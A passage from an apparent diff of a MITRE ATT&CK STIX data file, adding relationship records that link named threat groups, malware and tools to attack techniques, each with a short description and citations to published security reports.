}, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used the ipconfig /all command to gather network configuration information.", + "type": "relationship", + "created": "2019-01-30T15:33:07.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--635c959b-acf4-464a-a240-f299f5fea753", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.871Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather information about the victim proxy server.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3bfef472-e4b0-41be-be6b-314400c079cb", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) encrypts the configuration.", + "type": "relationship", + "created": "2019-01-30T15:47:41.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9a34eaa-c17c-400a-b4e0-063445e430af", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.389Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) applies compression to C2 traffic using the ZLIB library.", + "type": "relationship", + "created": "2019-01-30T16:39:54.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--811ad4bc-198d-400a-a5f0-10d0ef856794", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.852Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) establishes persistence via a .lnk file in the victim\u2019s startup path.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7cb37ba3-3a4b-45e5-974c-e337301e71a2", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.492Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has decrypted strings and imports using RC4 during execution.", + "type": "relationship", + "created": "2019-01-30T17:43:28.261Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b3f0b38-d4e2-49e8-a8f9-6a186c31967f", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.175Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Night Dragon](https://attack.mitre.org/groups/G0014) DLL included an XOR-encoded section.", + "type": "relationship", + "created": "2019-01-30T18:02:59.104Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e88dd85-5ade-4622-a6ff-eccd75f020ad", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.888Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used pass-the-hash tools to gain usernames and passwords.", + "type": "relationship", + "created": "2019-01-30T18:02:59.299Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36f0a0c9-ccf8-4b82-a9ab-d61d13094b24", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.889Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the echo %APPDATA% command to list the contents of the directory. [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.", + "type": "relationship", + "created": "2019-01-30T18:39:48.457Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86b7bab7-a1d6-4820-be55-c379f3967f1a", + "external_references": [ + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:32.794Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) probes the system to check for antimalware processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--698e6245-bec4-4a5a-9f1b-cc6e347a92bb", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.329Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) is written to %LOCALAPPDATA%\\MicroSoft Updatea\\svServiceUpdate.exe prior being executed in a new process in an apparent attempt to masquerade as a legitimate folder and file.", + "type": "relationship", + "created": "2019-01-30T19:50:46.595Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67f1d68d-fe0f-4e65-8b2a-f614fda68e3c", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.271Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obtains a list of running processes.", + "type": "relationship", + "created": "2019-01-31T00:23:06.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4322dad3-453f-4af5-bd1c-0099baaf2b61", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-31T00:23:06.343Z", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) successfully gained remote access by using pass the ticket.", + "type": "relationship", + "created": "2019-01-31T01:07:58.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c08684c8-8467-4b7f-a9ac-3330cf423261", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.696Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Impacket](https://attack.mitre.org/software/S0357) can be used to sniff network traffic via an interface or raw socket.", + "type": "relationship", + "created": "2019-01-31T01:39:56.551Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--191d6679-d6a8-42e3-b5ff-84a8d5bfb1dd", + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "modified": "2019-04-18T21:49:12.757Z", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "relationship_type": "uses", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses cmd.exe and /bin/bash to execute commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a9e9275-44c2-40c9-9eb3-cafc54503874", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.813Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ping](https://attack.mitre.org/software/S0097) can be used to identify remote systems within a network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7", + "external_references": [ + { + "source_name": "TechNet Ping", + "description": "Microsoft. (n.d.). Ping. Retrieved April 8, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490968.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c2e58b40-7644-4c0c-92ac-b63a565aca44", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eda49ac0-3077-4bff-9b30-44f527914e9c", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain information about security software on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The net accounts and net accounts /domain commands with [Net](https://attack.mitre.org/software/S0039) can be used to obtain password policy information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0224ebf5-13ef-4fb0-b9e7-53ea58c15a4d", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.576Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) C2 messages are Base64-encoded.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35d35ecf-1326-4690-b105-23280e29c120", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-01-30T18:08:51.130Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5823e4cd-e6cb-4e62-8ed2-a0f296128d34", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to retrieve files from its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) clears event logs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--10bb3d29-fe7d-49a4-a03b-ba1f78993af8", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "modified": "2019-07-26T23:00:57.355Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Traffic traversing the [Tor](https://attack.mitre.org/software/S0183) network will be forwarded to multiple nodes before exiting the [Tor](https://attack.mitre.org/software/S0183) network and continuing on to its intended destination.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4", + "external_references": [ + { + "source_name": "Dingledine Tor The Second-Generation Onion Router", + "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.", + "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve a list of running processes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92e35558-f915-4357-b397-3cc7a0412b92", + "external_references": [ + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) concatenates then decompresses multiple resources to load an embedded .Net Framework assembly.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3cd2c187-587c-4969-957d-122ce654fc2a", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-04-24T23:40:23.529Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the execFile function to execute a specified file on the system using the NSTask:launch method.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.327Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The C2 server response to a beacon sent by a variant of [Emissary](https://attack.mitre.org/software/S0082) contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of [Emissary](https://attack.mitre.org/software/S0082) use various XOR operations to encrypt C2 data.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + 